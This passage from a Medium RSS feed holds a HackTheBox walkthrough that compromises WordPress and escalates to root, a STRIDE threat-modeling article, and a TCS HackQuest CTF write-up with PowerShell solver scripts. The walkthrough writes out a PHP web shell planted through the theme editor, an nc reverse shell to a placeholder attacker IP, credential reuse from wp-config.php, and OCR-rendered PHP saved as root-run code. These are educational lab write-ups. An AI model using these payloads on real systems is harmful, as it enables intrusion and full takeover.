account:</p><pre>curl -sk -X POST https://makesense.htb/wp-login.php \<br>  --data-urlencode &#39;log=h3rm1t&#39; \<br>  --data-urlencode &#39;pwd=P4ssw0rd!2026&#39; \<br>  --data-urlencode &#39;wp-submit=Log In&#39; \<br>  --data-urlencode &#39;redirect_to=https://makesense.htb/wp-admin/&#39; \<br>  --data-urlencode &#39;testcookie=1&#39; \<br>  -c cookies.txt -b &quot;wordpress_test_cookie=WP+Cookie+check&quot; -L -o login_response.html<br><br>grep -i &quot;wordpress_logged_in&quot; cookies.txt</pre><p><em>Why:</em> a wordpress_logged_in_* cookie for h3rm1t confirms the account is real and usable — we now hold a genuine admin session over plain curl.</p><h3>Admin → RCE via the Theme File Editor</h3><p>As an administrator, the Theme File Editor is enabled and the theme files are writable — a classic WordPress foothold. The editor saves through admin-ajax.php (action edit-theme-plugin-file) using a nonce rendered on the editor page. Grab it fresh and write a one-line command handler into the active theme&#39;s index.php:</p><pre>N=$(curl -sk -b cookies.txt &quot;https://makesense.htb/wp-admin/theme-editor.php?file=index.php&amp;theme=webagency&quot; \<br>    | grep -oP &#39;name=&quot;nonce&quot; value=&quot;\K[a-f0-9]+&#39;)<br><br>curl -sk -b cookies.txt &quot;https://makesense.htb/wp-admin/admin-ajax.php&quot; \<br>  --data-urlencode &quot;action=edit-theme-plugin-file&quot; \<br>  --data-urlencode &quot;nonce=$N&quot; \<br>  --data-urlencode &quot;theme=webagency&quot; \<br>  --data-urlencode &quot;file=index.php&quot; \<br>  --data-urlencode &#39;newcontent=&lt;?php if(isset($_GET[&quot;c&quot;])){system($_GET[&quot;c&quot;]);} ?&gt;&#39;</pre><p><em>Why:</em> an admin who can edit theme PHP can plant server-side code. index.php is the target because it&#39;s directly reachable by URL and always executed, so our ?c= handler can be triggered on demand.</p><pre>{&quot;success&quot;:true,&quot;data&quot;:{...}}</pre><p>Fire it:</p><pre>curl -sk -b cookies.txt &quot;https://makesense.htb/?c=id&quot;</pre><pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre><p>Command execution as www-data.</p><h3>A Proper Shell as www-data</h3><p>The one-shot ?c= handler is painful for enumeration, so trade up to an interactive shell. Start a listener:</p><pre>nc -lvnp 8888</pre><p>Fire a named-pipe reverse shell through the handler:</p><pre>curl -sk -b cookies.txt &quot;https://makesense.htb/&quot; --get \<br>  --data-urlencode &quot;c=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2&gt;&amp;1|nc &lt;attacker_ip&gt; 8888 &gt;/tmp/f&quot;</pre><p>Then stabilise it so it behaves like a real terminal:</p><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;<br># Ctrl-Z<br>stty raw -echo; fg<br>export TERM=xterm</pre><h3>www-data → walter (Credential Reuse)</h3><p>The WordPress config is readable by the web user — it has to be, since the runtime needs its DB credentials. This box runs on SQLite (the MySQL fields are even labelled “dummy”), but a real-looking password is sitting right there anyway:</p><pre>cat /var/www/html/wp-config.php</pre><p><em>Why:</em> “dummy” or unused config values are still worth reading — developers reuse real passwords in them constantly.</p><pre>define( &#39;DB_USER&#39;, &#39;walter&#39; );<br>define( &#39;DB_PASSWORD&#39;, &#39;&lt;REDACTED_PASSWORD&gt;&#39; );</pre><p>walter is a real system user. Try the &quot;dummy&quot; DB password against his SSH account:</p><pre>ssh walter@makesense.htb<br># password: &lt;REDACTED_PASSWORD&gt;</pre><p><em>Why:</em> once credential reuse is plausible, testing a found password against every account and service is the first move — and here it lands.</p><h3>User Flag</h3><pre>cat /home/walter/user.txt</pre><p>User flag secured. On to root.</p><h3>Privilege Escalation</h3><h4>Finding a Root-Owned Internal Service</h4><p>walter has no sudo rights and no unusual SUID binaries. But remember port 8001 — filtered from outside during recon. Enumerate local listeners now that we&#39;re on the host:</p><pre>ss -tlnp</pre><pre>LISTEN 127.0.0.1:8001<br>LISTEN 0.0.0.0:443<br>LISTEN 0.0.0.0:22</pre><p><em>Why:</em> services bound to 127.0.0.1 are invisible externally but reachable from on-box — a classic internal attack surface. And this is exactly the filtered 8001 from the nmap scan.</p><p>Check who owns it:</p><pre>ps aux | grep 8001</pre><pre>root 1393 ... php -S 127.0.0.1:8001 -t /root/ocr4/</pre><p><em>Why it matters:</em> the owning user sets the stakes. This runs as <strong>root</strong>, out of a root-only directory, on PHP’s built-in server. Any flaw in it yields root.</p><h3>Authenticating to the OCR Service</h3><p>The service sits behind HTTP Basic Auth (realm=&quot;OCR Protected&quot;). Walter&#39;s password gets reused a <em>third</em> time:</p><pre>curl -s -u &quot;walter:&lt;REDACTED_PASSWORD&gt;&quot; http://127.0.0.1:8001/ -i | head -5</pre><p><em>Why:</em> having watched this password get reused twice already, the first hypothesis for any new prompt is the same credential.</p><pre>HTTP/1.1 200 OK<br>X-Powered-By: PHP/8.3.6</pre><p>In. The app is an OCR tool: draw text on a canvas, submit it as a base64 PNG (canvas_image), and it returns the recognised text with a form to save it under a filename of your choosing. That &quot;filename of your choosing&quot; is about to be the problem.</p><h3>Probing the Save Primitive</h3><p>The save form posts ocr_id + filename + save_output. The ocr_id is tied to the PHP session that produced it, so submit and save must share one cookie jar:</p><pre>php -r &#39;$im=imagecreatetruecolor(600,120);$w=imagecolorallocate($im,255,255,255);$b=imagecolorallocate($im,0,0,0);imagefilledrectangle($im,0,0,600,120,$w);imagestring($im,5,240,50,&quot;HELLO&quot;,$b);imagepng($im,&quot;/tmp/t.png&quot;);&#39;<br>B64=$(base64 -w0 /tmp/t.png)<br><br>curl -s -u &quot;walter:&lt;REDACTED_PASSWORD&gt;&quot; -c jar.txt -b jar.txt http://127.0.0.1:8001/ \<br>  --data-urlencode &quot;canvas_image=data:image/png;base64,$B64&quot; -o r.html<br>OCR=$(grep -oP &#39;name=&quot;ocr_id&quot; value=&quot;\K[^&quot;]+&#39; r.html)<br>curl -s -u &quot;walter:&lt;REDACTED_PASSWORD&gt;&quot; -c jar.txt -b jar.txt http://127.0.0.1:8001/ \<br>  --data-urlencode &quot;ocr_id=$OCR&quot; --data-urlencode &quot;filename=poc.txt&quot; \<br>  --data-urlencode &quot;save_output=Save&quot; -o s.html<br>grep -iE &quot;saved as|notice&quot; s.html</pre><p><em>Why:</em> this confirms the save primitive works and keeps the same session alive so ocr_id stays valid. A clean .txt save under saved/ is the baseline before changing one variable at a time.</p><pre>Saved as: saved/poc.txt</pre><p>Now test the two defences. Path traversal (../trav.txt) is stripped to its basename — blocked. But the <strong>file extension is never filtered</strong> — test.php happily saves as saved/test.php.</p><p><em>Why it matters:</em> the traversal block is a red herring. saved/ is <em>already inside</em> the root-run PHP docroot. We don&#39;t need to escape anywhere — an unfiltered extension is the entire vulnerability. Drop a .php file there and it executes as root.</p><h3>OCR-to-PHP: Writing Code the Engine Reads Back Perfectly</h3><p>Here’s the twist that makes this box memorable. The saved file’s contents aren’t text we send — they’re whatever <strong>Tesseract reads out of our image</strong>. So the PHP has to OCR flawlessly, or we save garbage.</p><p>The trick is rendering crisp, unambiguous monospace: DejaVu Sans Mono Bold on a wide, short canvas, and dropping the trailing ?&gt; tag so it can&#39;t fragment.</p><pre>cat &gt; /tmp/gen.php &lt;&lt;&#39;EOF&#39;<br>&lt;?php<br>$txt = $argv[1];<br>$font = &quot;/usr/share/fonts/truetype/dejavu/DejaVuSansMono-Bold.ttf&quot;;<br>$im = imagecreatetruecolor(2000, 120);<br>$white = imagecolorallocate($im, 255, 255, 255);<br>$black = imagecolorallocate($im, 0, 0, 0);<br>imagefilledrectangle($im, 0, 0, 2000, 120, $white);<br>imagettftext($im, 44, 0, 20, 80, $black, $font, $txt);<br>imagepng($im, &quot;/tmp/payload.png&quot;);<br>EOF<br><br>php /tmp/gen.php &#39;&lt;?php system(&quot;id&quot;);&#39;<br>tesseract /tmp/payload.png stdout --psm 6</pre><p><em>Why:</em> the attacker never types the file contents — the OCR engine does. Rendering in clean monospace and verifying locally with the service’s own --psm 6 mode guarantees the recognised text is valid PHP <em>before</em> we submit it.</p><pre>&lt;?php system(&quot;id&quot;);</pre><p>Perfect recognition.</p><h3>Executing as Root</h3><p>Submit the verified image, save it as .php, and request it:</p><pre>B64=$(base64 -w0 /tmp/payload.png)<br>curl -s -u &quot;walter:&lt;REDACTED_PASSWORD&gt;&quot; -c jar.txt -b jar.txt http://127.0.0.1:8001/ \<br>  --data-urlencode &quot;canvas_image=data:image/png;base64,$B64&quot; -o r.html<br>OCR=$(grep -oP &#39;name=&quot;ocr_id&quot; value=&quot;\K[^&quot;]+&#39; r.html)<br>curl -s -u &quot;walter:&lt;REDACTED_PASSWORD&gt;&quot; -c jar.txt -b jar.txt http://127.0.0.1:8001/ \<br>  --data-urlencode &quot;ocr_id=$OCR&quot; --data-urlencode &quot;filename=shell.php&quot; \<br>  --data-urlencode &quot;save_output=Save&quot; -o s.html<br>curl -s -u &quot;walter:&lt;REDACTED_PASSWORD&gt;&quot; -b jar.txt http://127.0.0.1:8001/saved/shell.php</pre><p><em>Why:</em> saving the OCR’d PHP into the root-served saved/ directory and then requesting it runs the code as the root-owned PHP process.</p><pre>uid=0(root) gid=0(root) groups=0(root)</pre><p>Root.</p><h3>Root Flag</h3><p>Same pipeline, one exact command per image to keep OCR reliable:</p><pre>php /tmp/gen.php &#39;&lt;?php system(&quot;cat /root/root.txt&quot;);&#39;<br># submit + save as flag.php, then:<br>curl -s -u &quot;walter:&lt;REDACTED_PASSWORD&gt;&quot; -b jar.txt http://127.0.0.1:8001/saved/flag.php</pre><p>Root flag obtained. Box done.</p><h3>Lessons Learned</h3><p>A few takeaways worth carrying off this box:</p><ul><li><strong>Client-side secrets are not secrets.</strong> The hardcoded AES key is the root cause of the entire foothold. Anything shipped to the browser — keys, “hidden” endpoints, validation logic — belongs to the attacker. Enforce trust on the server.</li><li><strong>Encryption is not authentication.</strong> The server trusted anything that <em>decrypted</em> as proof of a legitimate request. Decryptability says nothing about authenticity or integrity of intent — and it certainly doesn’t replace output sanitisation. The stored XSS lived in that gap.</li><li><strong>HttpOnly raises the bar, it doesn&#39;t close the door.</strong> Cookie theft failed, but session-riding (CSRF-through-XSS) achieved the same outcome. Defence-in-depth matters because any single control can be bypassed.</li><li><strong>Password reuse is a gift that keeps giving.</strong> One “dummy” config value unlocked SSH <em>and</em> an internal service <em>and</em> the root-owned OCR app. Credentials found anywhere should be tried everywhere.</li><li><strong>Validate the whole filename, not just the path.</strong> Blocking traversal while ignoring the extension is a half-measure. In a directory that’s already an executable docroot, the extension <em>is</em> the attack surface.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5k2M77oss5GTAr-vmHqjTg.png" /></figure><h3>📬 Contact Me</h3><p>If you’d like to discuss cybersecurity, ethical hacking, CTF challenges, or collaboration opportunities, feel free to reach out:</p><ul><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/arnavaidya/">https://www.linkedin.com/in/arnavaidya/</a></li><li><strong>GitHub:</strong> <a href="https://github.com/arnavaidya">https://github.com/arnavaidya</a></li><li><strong>HackTheBox: </strong>ArNavigator</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=554d10b2973a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[STRIDE Threat Modeling in the Real World: A Consultant’s Workflow]]></title>
            <link>https://medium.com/@arnavaidya/stride-threat-modeling-in-the-real-world-a-consultants-workflow-afc8b1c7bbf3?source=rss-cfc1a7e2a9c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/afc8b1c7bbf3</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber-security-audit]]></category>
            <category><![CDATA[threat-modeling]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cyber-security-consultant]]></category>
            <dc:creator><![CDATA[Arnav Vaidya]]></dc:creator>
            <pubDate>Sun, 12 Apr 2026 13:59:09 GMT</pubDate>
            <atom:updated>2026-04-12T13:59:09.500Z</atom:updated>
            <content:encoded><![CDATA[<p>STRIDE threat modeling is often explained as a clean table of six categories — <strong>Spoofing</strong>, <strong>Tampering</strong>, <strong>Repudiation</strong>, <strong>Information Disclosure</strong>, <strong>Denial of Service</strong>, and <strong>Elevation of Privilege</strong>.<br>But in real-world consulting engagements, threat modeling is far from theoretical.<br>It can be messy, iterative, dependent on incomplete information, and most importantly — deeply collaborative.<br>In this article, I’ll walk through my own experience; how we actually performed STRIDE threat modeling during a client engagement — from initial scoping to final security discussions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9g-HIUcUUzo1bgKDvoxAYQ.png" /></figure><h3>1. Understanding the Engagement First</h3><p>Before any diagrams or threats, the first step was understanding the <strong>context of the</strong> <strong>engagement</strong>.</p><p>We needed clarity on:</p><ul><li>Why the client wanted threat modeling</li><li>Whether the goal was compliance, proactive security, or audit readiness</li><li>Who the stakeholders were (security architects, solution architects, developers)</li></ul><p>This step is often underestimated.</p><p>Threat modeling is not just about systems — it’s about <strong>business risk</strong>. <br>A fintech application handling transactions, for example, demands a very different focus compared to an internal dashboard.</p><h3>2. Defining Scope and Identifying Assets</h3><p>Once aligned, we received the <strong>scope and asset inventory</strong>.</p><p>This typically included:</p><ul><li>A list of applications</li><li>System boundaries</li><li>Key components like APIs, databases, authentication services, and third-party integrations</li></ul><p>One important lesson here:</p><blockquote>Threat Modelling can be done effectively only if we know what we’re protecting.</blockquote><p>Misunderstood scope leads to irrelevant threats — or worse, missed critical ones.</p><h3>3. Designing a Targeted Questionnaire</h3><p>Documentation alone is never enough.</p><p>To bridge the gaps, we created a <strong>structured questionnaire</strong> for solution architects and development teams of each application.</p><p>The goal was to extract details that are usually undocumented but critical for security analysis.</p><p>To ensure consistency, we grouped questions into key domains:</p><ul><li><strong>Authorization, Identification &amp; Authentication</strong> — authentication methods, token validation, and privilege controls</li><li><strong>Access Controls</strong> — role enforcement and least privilege implementation</li><li><strong>Data Validation</strong> — input handling and protection against malformed or malicious data</li><li><strong>Data Fencing</strong> — logical separation between users, tenants, and environments</li><li><strong>Data Protection (At Rest &amp; In Transit)</strong> — encryption practices and key management</li><li><strong>Data Authenticity &amp; Integrity</strong> — mechanisms to prevent and detect data tampering</li><li><strong>Security Audit Trail</strong> — logging, monitoring, and traceability of user actions</li><li><strong>Security Misconfiguration</strong> — exposed services, default settings, and insecure configurations</li><li><strong>Application Security Assurance</strong> — use of security tools, SDLC practices, and vulnerability management</li></ul><p>This structured approach helped us move from assumptions to validated insights and ensured comprehensive coverage across all applications.</p><blockquote>The effectiveness of threat modeling depends heavily on asking the right questions.</blockquote><h3>4. Application Walkthroughs</h3><p>Alongside documentation and questionnaire responses, we conducted <strong>application walkthrough sessions</strong> with solution architects and developers.</p><p>These sessions helped us:</p><ul><li>Validate architecture and data flows in real time</li><li>Clarify ambiguities in documentation</li><li>Understand actual implementation vs intended design</li><li>Identify implicit trust boundaries and hidden dependencies</li></ul><p>In many cases, walkthroughs revealed gaps that were not captured in documents or questionnaire responses.</p><blockquote><em>This step was critical in aligning our understanding with </em>how the system actually behaves in production.</blockquote><h3>5. Reviewing Application Documentation</h3><p>Alongside questionnaire responses, we analyzed:</p><ul><li>Architecture diagrams</li><li>API specifications</li><li>Deployment models</li><li>Existing security controls</li></ul><p>One recurring challenge was inconsistency.</p><p>Documentation was often outdated or incomplete, which meant we had to:</p><ul><li>Cross-verify answers</li><li>Ask follow-up questions</li></ul><h3>6. Building Data Flow Diagrams (DFDs)</h3><p>With enough context gathered, we moved to one of the most critical steps: <strong>creating Data Flow Diagrams (DFDs)</strong>.</p><p>For each application, we identified:</p><ul><li>External entities (users, third-party systems)</li><li>Processes (services, APIs, business logic)</li><li>Data stores (databases, storage systems)</li><li>Data flows (how data moves between components)</li></ul><p>The DFD became our <strong>single source of truth</strong>.</p><p>Instead of analyzing abstract systems, we now had a visual representation of how data actually moved — and where it could be attacked.</p><h3>7. Applying STRIDE Systematically</h3><p>Only after building the DFDs did we apply STRIDE.</p><p>Rather than randomly brainstorming threats, we mapped STRIDE categories to specific DFD elements:</p><ul><li>External Entities → Spoofing</li><li>Data Flows → Tampering, Information Disclosure</li><li>Processes → All STRIDE categories</li><li>Data Stores → Tampering, Information Disclosure</li></ul><p>This structured mapping ensured consistency across applications.</p><blockquote>STRIDE works best when applied systematically — not intuitively.</blockquote><h3>8. Identifying Threats Using Real Inputs</h3><p>This is where everything came together.</p><p>We combined:</p><ul><li>DFDs</li><li>Questionnaire responses</li><li>Documentation insights</li></ul><p>To identify realistic threats.</p><p>For example:</p><ul><li>Weak token validation → Spoofing risk</li><li>Lack of encryption → Information Disclosure</li><li>Missing logging → Repudiation risk</li><li>Unvalidated inputs → Tampering or Elevation of Privilege</li></ul><p>A key realization:</p><blockquote>STRIDE is only as effective as the quality of input data.</blockquote><p>Without real insights from teams, threat modeling becomes guesswork.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JF68rHUAEaS9cLgoI4AYBA.png" /><figcaption>Sample DFD of an Online Banking System with STRIDE-mapped threats</figcaption></figure><h3>9. Validating with Client Security Architects</h3><p>Threat modeling is not a one-way process.</p><p>After identifying threats, we conducted <strong>review sessions with client security architects</strong>.</p><p>These discussions helped:</p><ul><li>Validate whether threats were realistic</li><li>Understand existing mitigations</li><li>Filter out theoretical but impractical risks</li></ul><p>Not every identified threat made it to the final report — and that’s a good thing.</p><blockquote>Practical relevance matters more than theoretical completeness.</blockquote><h3>10. Acting as Security Consultants</h3><p>Beyond identifying threats, our role was to <strong>translate technical risks into meaningful insights</strong>.</p><p>Instead of saying:</p><p><em>“Spoofing vulnerability exists”</em></p><p>We explained:</p><p><em>“An attacker could impersonate a user due to weak token validation, potentially leading to unauthorized transactions.”</em></p><p>This shift — from technical observation to business impact — is what clients truly value.</p><p>We also:</p><ul><li>Prioritized risks</li><li>Suggested mitigations</li><li>Aligned recommendations with the client’s architecture</li></ul><h3>* Challenges We Faced</h3><p>No engagement is perfect. Some recurring challenges included:</p><ul><li>Incomplete or outdated documentation</li><li>Conflicting inputs from different teams</li><li>Highly complex, distributed architectures</li><li>Time constraints</li><li>Expectation of automated/tool-based outputs</li></ul><p>Threat modeling, in reality, is a <strong>human-driven process</strong> that cannot be fully automated.</p><h3>* Final Thoughts</h3><p>STRIDE threat modeling, when applied in real-world scenarios, is less about filling tables and more about understanding how systems can fail.</p><p>The real value comes from:</p><ul><li>Asking the <strong>right questions</strong></li><li>Building <strong>accurate </strong>system representations</li><li><strong>Collaborating </strong>with stakeholders</li><li>And ultimately, helping teams <strong>think like attackers</strong></li></ul><p>Because in the end, effective security starts with understanding how things break.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=afc8b1c7bbf3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TCS HackQuest Season 10 — Round 2: Walkthrough]]></title>
            <link>https://medium.com/@arnavaidya/tcs-hackquest-season-10-round-2-walkthrough-17139324c2d8?source=rss-cfc1a7e2a9c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/17139324c2d8</guid>
            <category><![CDATA[tcs-hackquest]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Arnav Vaidya]]></dc:creator>
            <pubDate>Sat, 17 Jan 2026 18:43:01 GMT</pubDate>
            <atom:updated>2026-01-17T18:43:01.799Z</atom:updated>
            <content:encoded><![CDATA[<h3>TCS HackQuest Season 10 — Round 2: Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/0*pYODbyjLoUckdqky.png" /></figure><p>Round 1 — Walkthrough: <a href="https://medium.com/@arnavaidya/tcs-hackquest-season-10-round-1-walkthrough-6caf62a82be7">Link</a></p><p>Every year, TCS organizes <strong>HackQuest</strong>, an ethical hacking and cybersecurity competition for students across India. Designed in a <strong>Capture the Flag (CTF)</strong> format, the event challenges participants to solve security-based tasks and uncover hidden flags. High-performing participants earn prizes and may also receive opportunities to join TCS’s Cyber Security Unit.</p><p>TCS HackQuest follows a <strong>three-round structure</strong>:<br><strong>Round 1</strong> is an online Capture the Flag (CTF) with beginner to expert challenges; shortlisted participants move to -<br><strong>Round 2</strong>, an online, remotely proctored advanced challenge requiring cameras on;<br><strong>the Final round</strong> is an in-person event at a TCS location, culminating in potential job offers for top performers, all focused on ethical hacking skills.</p><p><strong>Round 1: Online CTF</strong></p><ul><li><strong>Format:</strong> Online Capture the Flag (CTF) competition.</li><li><strong>Content:</strong> Cybersecurity challenges across three difficulty levels: Beginner, Intermediate, and Expert.</li></ul><p><strong>Round 2: Remote Proctored Challenge</strong></p><ul><li><strong>Format:</strong> Online, remote proctored assessment.</li><li><strong>Requirements:</strong> Camera must be on throughout; participants need to register on the TCS iON platform.</li><li><strong>Content:</strong> Deeper dives into system vulnerabilities, penetration testing, source code analysis, and SOC scenarios.</li></ul><h3>Round 2 Challenge Write-ups</h3><p>This section documents the challenges I successfully solved during <strong>Round 2 of TCS HackQuest</strong>.</p><p><strong>Challenges solved:</strong> 4 out of 10</p><h4>Challenge #1: Misfits (100 points)</h4><p>Misfits was a <strong>noise analysis</strong> challenge which tested the player across two-stages. Both stages presented a long string (around 10,000 characters) which had a set of dominant characters (noise) with a tiny number of recessive characters (signal) which needed to be extracted to solve the stage. <br>e.g. A stage consisted of a large number of small alphabets (A, B, C, D, ….) and numerals (0, 1, 2, 3, 4, 5, …..) with a couple of capital alphabets (A, B, C, D, ….) hidden among them. The goal was to extract and submit the set of capital alphabets to clear the stage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o59m9ltsshbdUcdlKbceuQ.png" /><figcaption>Sample string</figcaption></figure><p>The stages were time-bound and needed to be answered quickly to get the flag accepted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hifBSV3UExBQ1POdTAZEkg.png" /></figure><p><strong>Approach:</strong></p><ol><li>Classify the noise and the signal (e.g. noise — small letters, signal — capital letters and so on).</li><li>Write a script to parse the string copied in a text file, utilizing the power of regex to ignore the noise and print the signal. I solved it in Windows itself using Powershell commands.</li></ol><pre>(Get-Content “input.txt” -Raw) -creplace ‘[^A-Z]’, ‘’</pre><p>(In case of capital letters being the signal.)</p><p>3. Submit the solution to get the next stage.</p><p>4. Identify the pattern for the next stage and solve it similarly.</p><p>5. Submitting the right answer will present the Base64 encoded flag. Decode it and submit.</p><h4><strong>Challenge #2: Vanishing Point (300 points)</strong></h4><p>This challenge was based on session cookie reuse to abuse admin privilege. However the actual issue here was the life of the admin session, since the login page kept reloading automatically, inputs were marked as readonly, and manual interaction was intentionally made annoying.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2-4AMP7bjKhSL_NPLzhMxg.png" /></figure><p>The page source suggested that the technique to solve this stage was client-side manipulation and had credentials embedded as comments.<br>I opened Burp Suite and intercepted the requests, but somehow was too slow to be able to reuse the session cookie.</p><p>The page reloaded after every 5 seconds (or even less, I think) which only meant one thing — the solution had to be automation!</p><p>Looking at the time in hand, I used ChatGPT to generate a Powershell script to make the initial GET request, obtain the login session cookie, and reuse it.</p><p>Powershell script:</p><pre># ===============================<br># Vanishing Point Solution Script<br># ===============================<br><br>$uri = “http://challenge.tcshackquest.com:12960/&quot;<br><br># Create a persistent session (handles PHPSESSID automatically)<br>$sess = New-Object Microsoft.PowerShell.Commands.WebRequestSession<br><br>Write-Host “[*] Sending initial GET request…”<br>$response1 = Invoke-WebRequest `<br> -Uri $uri `<br> -Method GET `<br> -WebSession $sess `<br> -UseBasicParsing<br><br>$html = $response1.Content<br><br># Extract credentials from HTML comments<br># &lt;! — Username=”hquser-xxxxxxxxxxxxxxxx” →<br># &lt;! — Password=”xxxxxxxxxxxxxxxx” →<br><br>if ($html -match ‘Username=”([^”]+)”’) {<br> $username = $matches[1]<br>} else {<br> Write-Error “Username not found”<br> exit<br>}<br><br>if ($html -match ‘Password=”([^”]+)”’) {<br> $password = $matches[1]<br>} else {<br> Write-Error “Password not found”<br> exit<br>}<br><br>Write-Host “[+] Extracted credentials:”<br>Write-Host “ Username: $username”<br>Write-Host “ Password: $password”<br><br># Prepare POST body<br>$body = “username=$username&amp;password=$password”<br><br>Write-Host “[*] Sending POST request with extracted credentials…”<br>$response2 = Invoke-WebRequest `<br> -Uri $uri `<br> -Method POST `<br> -WebSession $sess `<br> -ContentType “application/x-www-form-urlencoded” `<br> -Body $body `<br> -UseBasicParsing<br><br>Write-Host “`n================ SERVER RESPONSE ================”<br>$response2.Content<br>Write-Host “================================================”</pre><p>Thus, got the flag and submitted it.</p><h4>Challenge #3: Quiet Leak (300 points)</h4><p>The challenge presented a clue along with a .pcap file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v-iCwQBla8C765OwUq6KFg.png" /><figcaption>Quiet Leak clue</figcaption></figure><p>Fired up Wireshark to load the .pcap file. Upon studying the traffic logs, it was evident that the challenge had something to do with the DoH (DNS over HTTPS) traffic, since each log was a query to a TCS subdomain that consisted of a Base64 encoded subdomain name.</p><p>e.g. RVhGSUw6L2hvbWUvdXNlci8uYmFzaF9oaXN0b3J5fDIwMjYtMDEtMTc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*br9drndGUqYL3RF9y3ug9w.png" /><figcaption>Wireshark interface</figcaption></figure><p>Decode the Base64 encode subdomain names and found a few of them to be fragments of the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LKFbCeQI_TKxTxH0PItlmQ.png" /></figure><p>Combined these fragments to form the flag and submitted it.</p><h4>Challenge #4: Whitespace Warfare (500 points)</h4><p>Whitespace Warfare was a classic Unicode steganography challenge where the secret wasn’t embedded in visible text but concealed within invisible Unicode characters. At first glance, the provided text file appeared perfectly normal; however, the hint referencing “silence” clearly pointed toward the use of zero-width characters as the hidden data carrier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BSWLvtxeNZX4V27-sxoHUg.png" /><figcaption>Whitespace Warfare clue</figcaption></figure><p><strong>Step 1:</strong> Read the File Properly</p><p>The script reads the file using <strong>UTF-8 encoding</strong> so that invisible characters are not lost.</p><p><strong>Step 2: </strong>Find the Hidden Characters</p><p>The file looks normal, but it secretly contains <strong>zero-width characters</strong>.<br>Thus only the following need to be kept in the file:</p><ul><li>Zero Width Space (U+200B)</li><li>Zero Width Non-Joiner (U+200C)</li></ul><p>Everything else must be ignored.</p><p><strong>Step 3: </strong>Turn Hidden Characters into Binary</p><p>Each invisible character represents a bit:</p><ul><li>U+200B = 1</li><li>U+200C = 0</li></ul><p>This converts the hidden data into a long <strong>binary string</strong>.</p><p><strong>Step 4: </strong>Convert Binary to Text</p><p>The binary string is split into <strong>8-bit chunks</strong>, and each chunk is converted into a normal ASCII character.</p><p><strong>Step 5: </strong>Get the Flag</p><p>All decoded characters are joined together to reveal the <strong>hidden flag</strong>.</p><p>Time was of the essence, so quickly generated a Powershell script using ChatGPT to automate this task.</p><p>Powershell script:</p><pre># =========================================<br># HQX Zero-Width Stego Decoder<br># Reads a text file and extracts hidden flag<br># =========================================<br><br># Path to the file<br>$filePath = “04Ad2044c0.txt”<br><br># Step 1: Read file as UTF-8<br>$text = Get-Content $filePath -Raw -Encoding UTF8<br><br># Step 2: Extract only zero-width characters (U+200B and U+200C)<br>$zw = ($text.ToCharArray() | Where-Object {<br> [int]$_ -eq 0x200B -or [int]$_ -eq 0x200C<br>}) -join ‘’<br><br># Step 3: Convert zero-width chars to binary<br># Correct mapping for this file: 200B -&gt; 1, 200C -&gt; 0<br>$bin = ($zw.ToCharArray() | ForEach-Object {<br> if ([int]$_ -eq 0x200B) { ‘1’ }<br> elseif ([int]$_ -eq 0x200C) { ‘0’ }<br>}) -join ‘’<br><br># Step 4: Split binary into 8-bit chunks and convert to ASCII characters<br>$flagChars = ($bin -split ‘(.{8})’ | Where-Object { $_ }) | ForEach-Object {<br> [char][Convert]::ToInt32($_, 2)<br>}<br><br># Step 5: Join characters to form the final flag<br>$flag = -join $flagChars<br><br># Step 6: Print the flag<br>Write-Output “Hidden Flag: $flag”</pre><p>These were the challenges that I could solve in the Round 2 of TCS HackQuest Season 10!</p><h3>📬 Contact Me</h3><p>If you’d like to discuss cybersecurity, ethical hacking, CTF challenges, or collaboration opportunities, feel free to reach out:</p><ul><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/arnavaidya/">https://www.linkedin.com/in/arnavaidya/</a></li><li><strong>GitHub:</strong> <a href="https://github.com/arnavaidya">https://github.com/arnavaidya</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=17139324c2d8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TCS HackQuest Season 10 — Round 1: Walkthrough]]></title>
            <link>https://medium.com/@arnavaidya/tcs-hackquest-season-10-round-1-walkthrough-6caf62a82be7?source=rss-cfc1a7e2a9c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/6caf62a82be7</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[tcs-hackquest]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Arnav Vaidya]]></dc:creator>
            <pubDate>Sat, 17 Jan 2026 09:02:09 GMT</pubDate>
            <atom:updated>2026-01-17T09:02:09.404Z</atom:updated>
